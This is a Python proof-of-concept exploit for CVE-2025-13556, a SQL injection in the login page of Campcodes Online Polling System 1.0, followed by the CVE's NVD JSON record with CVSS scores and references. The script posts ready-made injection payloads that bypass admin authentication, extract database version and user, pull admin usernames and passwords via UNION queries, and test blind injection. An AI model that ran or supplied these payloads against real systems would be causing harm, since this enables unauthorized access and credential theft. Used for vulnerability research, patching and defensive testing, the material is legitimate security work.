CVE-2025-13556

# CVE-2025-13556 SQL Injection PoC # Target: Campcodes Online Polling System 1.0 # Endpoint: /admin/checklogin.php # Parameter: myusername (vulnerable to SQL Injection) import requests import sys target_url = "http://target.com/admin/checklogin.php" # PoC 1: Basic Authentication Bypass payload_basic = "' OR '1'='1' --" data_basic = { 'myusername': payload_basic, 'mypassword': 'anything' } print("[+] Testing Basic SQL Injection...") response = requests.post(target_url, data=data_basic) if 'admin' in response.text.lower() or response.status_code == 302: print("[!] Vulnerable! Authentication bypass possible") # PoC 2: Union-based Injection to extract database version payload_union = "' UNION SELECT NULL,version(),user(),database() --" data_union = { 'myusername': payload_union, 'mypassword': 'test' } print("[+] Testing Union-based Injection...") response = requests.post(target_url, data=data_union) if '5.' in response.text or '8.' in response.text: print("[!] Database version information extracted!") # PoC 3: Extract admin credentials payload_extract = "' UNION SELECT NULL,username,password FROM admin --" data_extract = { 'myusername': payload_extract, 'mypassword': 'test' } print("[+] Extracting admin credentials...") response = requests.post(target_url, data=data_extract) # Check response for admin credentials print("[*] Check response content for extracted credentials") # PoC 4: Boolean-based Blind Injection def blind_injection(target, param, payload): data = {param: payload} response = requests.post(target, data=data) return len(response.text) > 100 # Test if application is vulnerable to blind injection payload_blind = "' AND 1=1 --" if blind_injection(target_url, 'myusername', payload_blind): print("[!] Application vulnerable to blind SQL injection") print("\n[!] PoC completed. Further exploitation requires manual analysis.")

{"cve": {"id": "CVE-2025-13556", "sourceIdentifier": "[email protected]", "published": "2025-11-23T16:15:46.407", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in Campcodes Online Polling System 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/checklogin.php. Executing a manipulation of the argument myusername can lead to sql injection. The attack can be launched remotely. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:campcodes:online_polling_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "B9F9CF24-8D3D-4F78-A405-E6F5139459E3"}]}]}], "references": [{"url": "https://github.com/ProgramShowMaker/CVE/issues/2", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.333323", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.333323", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.696614", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.campcodes.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/ProgramShowMaker/CVE/issues/2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}